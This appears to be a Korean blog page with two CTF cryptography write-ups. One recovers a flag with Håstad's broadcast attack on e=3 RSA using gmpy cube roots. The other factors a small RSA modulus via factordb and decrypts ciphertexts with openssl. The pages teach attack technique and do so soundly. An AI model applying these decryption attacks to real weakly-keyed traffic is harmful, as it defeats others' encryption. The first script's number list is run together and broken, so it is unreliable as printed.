    c=format(int(c), 'x')
    print("%s " % (c.decode("hex")))
 
cs


이런 파이썬 코드를 짜서... 출력해보았다.


코드는 해당 ciphertexts.txt의 값들을 각각 세제곱근한 값을 hex값으로 두고, 이를 decode해 평문으로 출력하는 것이다.



위와 같이 출력되었고... 666c61677b757000000000000000000000000000000000000000000000 와 flag{up 를 볼때...


모듈러연산에 걸려 평문값이 짤려 손실된것으로 보인다.



....


아닛.... 엄청난걸 찾았다. 위키백과 굿

https://en.wikipedia.org/wiki/Coppersmith%27s_attack#RSA_basics


위 url을 통해 들어가보면 Håstad's broadcast attack라고 있다.

한번 자세히 알아보자. 

Hastad's Broadcast Attack 
Coppersmith 정리를 이용한 첫 번째 응용으로써, Hastad가 제안했던 알고리즘을 개선한 내용을 알아본다. Bob은 평문 M을 암호화해서 P1,P2,…,Pk 라고 하는 여러 group에게 동시 에 전송하려 한다고 가정하자. 각 group은 각기 RSA 공개키 를 갖고 있다. 그리고 평문M이 모든 Ni보다 작다고 하자. 이런 상황에서 Oscar는 Bob이 모르게 이들의 통신을 도청할 수 있고, k개의 암호문을 가로 챌 수 있다. 편의상, 모든 공개키 ei가 3이라고 하자. 이 경우, k≥3이면, 0scar는 암호문으로부터 평문 M을 복호화 할 수 있다. 즉, Oscar가 세 개의 암호문 C1,C2,C3를 얻었다고 하자. 여기서, C1=M3 modN1, C2=M3 modN2, C3=M3 modN3 이다. 그리고, Oscar가 Ni를 소인수 분해하지 못하게 하기 위해, 서로 다른 i, j 에 대해 gcd(Ni,Nj)=1라고 가정할 수 있다. 그러면, CRT을 이용해, C'=M3 modN1N2N3을 만족하는 Z N1N2N3의 원소 C'를 구할 수 있다. 가정에서 M이 모든 Ni보다 작다고 했기 때문에 M3 < N1N2N3이고 따라서 C'=M3 이 성립한다. 따라서, Oscar는 C'의 삼제곱근을 실수에서 연산하 면, M을 얻을 수 있다. 일반적으로, 모든 공개키(public exponent) ei가 같다고 하고 "k≥ei" 이기만 하면 Oscar는 평문 M을 복호화할 수 있다. 이 공격법은 공개키 e가 작은 경우에 한한다. 하지만, 이 공격법에 미미하게 대응해선 안 된다. 예를 들어, Bob이 평문 M을 암호 화하기 전에, "덧붙이기" 과정을 취할 수 있다. 즉, |M|=m 이라 하면, Bob은 Pi에게 Mi=i2m +M을 암호화해서 전달한다. 그러면, Oscar는 서로 다른 평문에 대안 암호문을 얻기 때문에, 위에서 살펴본 공격법을 취할 수가 없을 것 같다. 하지만, 위와 같은 선형 덧붙이기 과정이 안전하지 못함을 Hastad는 보였다. 더욱이, 그는 덧붙이기 과정으로서, 평문을 입력 으로 하는 고정된 다항식 연산을 취하는 것도 위의 공격방법을 막을 수 없음을 증명했다. 다음은 Hastad의 결과보다 강한 내용(stronger version)이다.

여기서 CRT는  Chinese Remainder Theorem로 중국인의 나머지 정리이다.

요약하자면 동일한 메세지를 여러 명에게 동시에 전송할때, 평문 M이 모든 Ni보다 작고, ei가 충분히 작고 알고있는 암호문 k가 k>=ei이면 중국인의 나머지정리(CRT)를 이용해 C를 구할수 있고 이 C의 e제곱근이 바로 평문이다.

먼저 이 문제가 hastad's Broadcast Attack으로 공격할수 있는지 살펴보자.

먼저 e=3으로 작은 값이고, ciphertexts.txt에 같은 flag를 암호화한 암호문 여려개와 moduli.txt에 N이 3개가 주어졌다. (이 3개의 N은 서로 서로수일것이다.)
암호문을 3개 이상얻었으므로 중국인의 나머지 정리를 이용해서 C = M^3 mod N1N2N3을 만족하는 C를 구해보자.

.................

이거 가지고 7시간 삽질을 했는데... 결국 안됐다 ㅡㅡ;; 아나

가장 큰 문제는  C = M^3 mod N1N2N3을 만족하는 C를 구햇는데 이 C의 세제곱근을 못구해서 엄청 헤매다가;;

import gmpy를 통해 해결하였다. 그런데 이게 안구해져서 ㅁㄴㅇㄹ 화가 나려하는데;; 아래와 같은 문제점을 발견해서 풀었다.

------------------------------------------------------------------------------------------------------------------------------


세제곱근을 구할때 보통 r = (c **(1.0/3.0)) 과 같이 구한다. 하지만 큰 수 c를 여기에 쓸 경우 이렇게 쓰면 정확하지 않다...

그래서  flag가  666c61677b757000000000000000000000000000000000000000000000 와 flag{up  이렇게 짤려나오는거였다.
문제에서 일부러 저렇게 준게 아니고 python에서 계산을 못해서 짤려나온거다 ㅡㅡ;;

해결법은 gmpy 모듈을 쓰는것이다.

import gmpy를 하면 result, bool = gmpy.root( num, k)를 쓸수가 있는데; 
이게 num를 k제곱근한 값을 result에 저장하고 bool에 성공여부를 0과 1로 저장한다.

이걸 이용해서 위 코드를 다시 짜면...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import gmpy
 
c_list = [0x10652cdfaa86ddbee1409ac7ac327a0c848081ee6e3b110867085f1074755785b0a5a6a2343b791695c3e91fdb370d5b26be3b6d2fc449c7788bbb1ab67ddc361b4115010618e39c883449b757fc1624369b440236ee650x10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d401633764162709650x10652cdfaa8ab16290cf92bacf31b23d6a0ea95c2ebd6eb8afe4f038d852a7f17e98f965f299b4d00126611d403c5208a145157ed1d71079fc558eaa888e993360fac35c7a816ad183190867b1b7580a2677cd6871aa650x10652cdfaa86ddbee1409ac7ac327a0c848081ee6e3b110867085f1074755785b0a5a6a2343b791695c3e91fdb370d5b26be3b6d2fc449c7788bbb1ab67ddc361b4115010618e39c883449b757fc1624369b440236ee650x10652cdfaa875a9ac01e472ea5896c1d460410508b9a7c723b5ba904fb5b64d68a1e96254ba04b08c92d51f1fe6c3d6bb426e1ee8c61c8a6ff1eeab9e07f51d8057f2f0c54b27c7006539f7148484ff26a02e4cb1d31650x10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d401633764162709650x10652cdfaa875a9ac01e472ea5896c1d460410508b9a7c723b5ba904fb5b64d68a1e96254ba04b08c92d51f1fe6c3d6bb426e1ee8c61c8a6ff1eeab9e07f51d8057f2f0c54b27c7006539f7148484ff26a02e4cb1d31650x10652cdfaa8210601d22f4a15aa380233420f9ee9a276d3ac8e05cfc4f6f515f78331e8e74484e8533221e88f78671dd08622e78233e458978a35036680d1c5caaba2fa3bce3b914ad48501a276d6a88adc16db282e0650x10652cdfaa8ab16290cf92bacf31b23d6a0ea95c2ebd6eb8afe4f038d852a7f17e98f965f299b4d00126611d403c5208a145157ed1d71079fc558eaa888e993360fac35c7a816ad183190867b1b7580a2677cd6871aa650x10652cdfaa8c2701b8bb7c11fc3218cc2d97cd4707f6de55637bc093f474d231b4d4fe8635261b8e4f772d0e51a25f8e713777a137be6f04e0d28ddd6ec0b852aaf357d33e08aed23e034fcd1ced38542fbeb5aa0eee650x10652cdfaa8210601d22f4a15aa380233420f9ee9a276d3ac8e05cfc4f6f515f78331e8e74484e8533221e88f78671dd08622e78233e458978a35036680d1c5caaba2fa3bce3b914ad48501a276d6a88adc16db282e0650x10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d401633764162709650x10652cdfaa8ab162128a955a58d3b780f2656800796eb70c345c56d7b8523d614ef4ca920471f56493c83ca48500033a0c0b31988ca6e66a76e0ed559b38616688941558b127260cdf70261822929efa0aa6b6d79d16650x10652cdfaa8ab162128a955a58d3b780f2656800796eb70c345c56d7b8523d614ef4ca920471f56493c83ca48500033a0c0b31988ca6e66a76e0ed559b38616688941558b127260cdf70261822929efa0aa6b6d79d16650x10652cdfaa8c2701b8bb7c11fc3218cc2d97cd4707f6de55637bc093f474d231b4d4fe8635261b8e4f772d0e51a25f8e713777a137be6f04e0d28ddd6ec0b852aaf357d33e08aed23e034fcd1ced38542fbeb5aa0eee65]
 
 
= 3.00
 
for idx, c in enumerate(c_list):
    c_list[idx], perfect = gmpy.root(c, 3)
    print("%x %d " % (c_list[idx], perfect))
 
 
for c in c_list:
    #c = c**(1.00/e)
    c=format(int(c), 'x')
    print("%s " % (c.decode("hex")))
 
 
cs

이렇게 되고 결과는 아래와 같다.


하... 이렇게 잘나오는걸 삽질을 그렇게 하다니 ㅡㅡ;


다른사람들의 Writeup - 추가
이분들은 그냥 정석대로 Hastad Broadcast Attack을 하셨다. 
암호문이 15개주어졌으니 15개를 3개씩 가능한 모든 조합으로 브루트포싱으로 공격을 시도하면 그 중 계산이 맞아 떨어지는것이 있고, 이것으로 플래그가 구해진다. (물론 나도 가능한 모든 조합으로 공격해보았다. 하지만 실패 ㅡㅡ; 분명 어딘가 실수가 있었겠지...)

이때 사용한 파이썬 모듈이 itertools인데 알아두면 좋을 것 같다. (참고사이트: http://hamait.tistory.com/803)
itertools이 가지고있는 함수들의 목록 및 기능은 여기서 보면 좋다.(https://docs.python.org/2/library/itertools.html)

Iterator

Arguments

Results

product()

p, q, … [repeat=1]

cartesian product, equivalent to a nested for-loop

permutations()

p[, r]

r-length tuples, all possible orderings, no repeated elements

 





특히 이 permutations()라는 것이 좋다.. 가능한 모든 순열을 구해준다.

Other WriteUP



'Write-up > Crypto' 카테고리의 다른 글

[MeePwnCTF 2018] esor (hard)  (0) 2018.07.16
[MeePwnCTF 2018] ezchallz  (0) 2018.07.16
[Byte Bandits CTF 2018]R u Ronald Rivest?  (0) 2018.06.02
[Plaid CTF 2018] macsh - 125  (0) 2018.05.07
[0ctf 2017] integrity - 75p  (0) 2018.05.02

[Crypto]R u Ronald Rivest? 70p



문제이름은 Are you Ronald Rivest?이다. Ronald Rivest가 누구지? 하고 검색해보았다.


RSA 암호 체계를 발명하신 분이다. 왠지 문제와 엄청 관계있을것같다.


이제 문제에서 주어진 파일을 보자.


text.txt 파일과 lol_pub.pem 파일이 주어진다. 

이 pem포맷파일은 문제이름에 나오는 RSA창시자 이름을 볼 때 RSA 공개키파일로 추측된다.

각각을 살펴보면 아래와 같다.


------------------------------------------------------------------------------------------------------------------------

PEM(Privacy-enhanced Electronic Mail)


여기서 준 lol_pub.pem 파일은 이름에서 유추해볼때 public_key파일이라는 것과 파일을 열어봤을때 첫줄과 마지막에 보이는 PUBLIC KEY로 이 파일이 공개키파일임을 알 수 있다.

RSA에서 쓰이는 공개키는 숫자인데, base64로 인코딩된 듯한 문자와 위아래로 텍스트 문자열(-----public ----)이 들어가 있다.

이러한 형태를 띄고 있는 파일은 PEM(Privacy Enhanced Mail) 포맷 파일로, 공개키를 암호화한 파일이다.


openssl을 이용해 개인키 및 공개키를 생성하면 위와 같은 파일을 자주 볼 수 있다.



비교해보기 위해 임의로 mykey.pem을 생성해보았다.


같은 형식인 걸 알 수 있었다.


그럼 openssl로 분석해볼까.. -noout -text 옵션으로 PEM 인코딩된 인증서를 파싱해서 정보를 출력해보겟다.



n = 225bit이고 e=65537인것을 알 수 있다. 

n을 좀 더 숫자로 표현해서 보고 싶다면 방법이 있다. ( https://stackoverflow.com/questions/3116907/rsa-get-exponent-and-modulus-given-a-public-key )


PUBKEY=`grep -v -- ----- lol_pub.pem | tr -d '\n'`  
echo $PUBKEY | base64 -d | openssl asn1parse -inform DER -i  


환경변수로 문자열을 파싱하고 base64 디코딩해 openssl을 통해 정보를 읽는다.



n이랑 e가 BIT STRING, offset 17에 들어있ㄷ. -strparse을 추가해서 파싱해주자.

아니면 그냥 openssl rsa -in pubkey.pem -pubin -text -modulus 로만 해줘도 잘나온다 (2018.12.07 추가)




n=0x013269DC2680BC64277889DC6A101ED6F13DD07498F13A4818474C2069

(32269109513264378873151120068074444086989044741418671122338798116969)

e=0x10001 (65537)


n을 찾았다!!


이제 소인수 분해를 하면 되겠다. 이 때 좋은 사이트가 있다는 것을 알았다.


FatorDB : http://factordb.com/    


이 사이트에 넣으면 만약 DB에 이미 소인수분해한 값이 있다면 그대로 알려준다. 매우 좋은 사이트다...!!



오옹... 감사합니다...


p,q = 1796360473659570891671495336244551, 17963604736595708916714953362445519


이제 p,q를 구했으니 개인키 d를 구하면 되겠다. 이 때 좋은 툴 rsatool 이 있다. 이걸 활용하자.

아 그놈의 gmpy... 다른 서버로 가야겠다.



n =

13269dc2680bc64277889dc6a101ed6f13dd07498f13a4818474c2069


e = 65537 (0x10001)


d = 24628356329157132106384879910356205355957782278135706168828095323773

(0xe9dc37c53f2e09f6c21dde172931a8e35ec454f10fb39c15a38f5e7d)


p = 1796360473659570891671495336244551 (0x589141bcf7bfd38312fcb363b547)


q = 17963604736595708916714953362445519 (0x375ac9161ad7e431ebddf01e514cf)


구할건 다 구했다.


text.txt에 있는 값들이 base64인코딩되있으니 디코딩해주자.


echo "AGRPJtAkcHxM5h9RiMMECc9KdKeXRuVvP5XlgsI=" | base64 -d | openssl rsautl -keyform PEM -inkey private.pem -decrypt

echo "AAqhlINL/9sBf80jq9qgdHO+yXR1O0zyljGDzCo=" | base64 -d | openssl rsautl -keyform PEM -inkey private.pem -decrypt

echo "AIV/vkErNAGt0j37090nxhiwwQyjtXcDugLTKDE=" | base64 -d | openssl rsautl -keyform PEM -inkey private.pem -decrypt


뭐가 출력되는지 보자



좀 엉망이지만... 순서를 조금 정리해보자.


flag{u  

_n00b}

n0_10ng3r


flag{un0_10ng3r_n00b} 인것 같다... 굿!

'Write-up > Crypto' 카테고리의 다른 글

[MeePwnCTF 2018] ezchallz  (0) 2018.07.16
[UIUCTF 2018] Hastad  (0) 2018.06.02
[Plaid CTF 2018] macsh - 125  (0) 2018.05.07
[0ctf 2017] integrity - 75p  (0) 2018.05.02
[Byte Bandits CTF 2018] R u Ronald Rivest? 70p  (0) 2018.04.27

+ Recent posts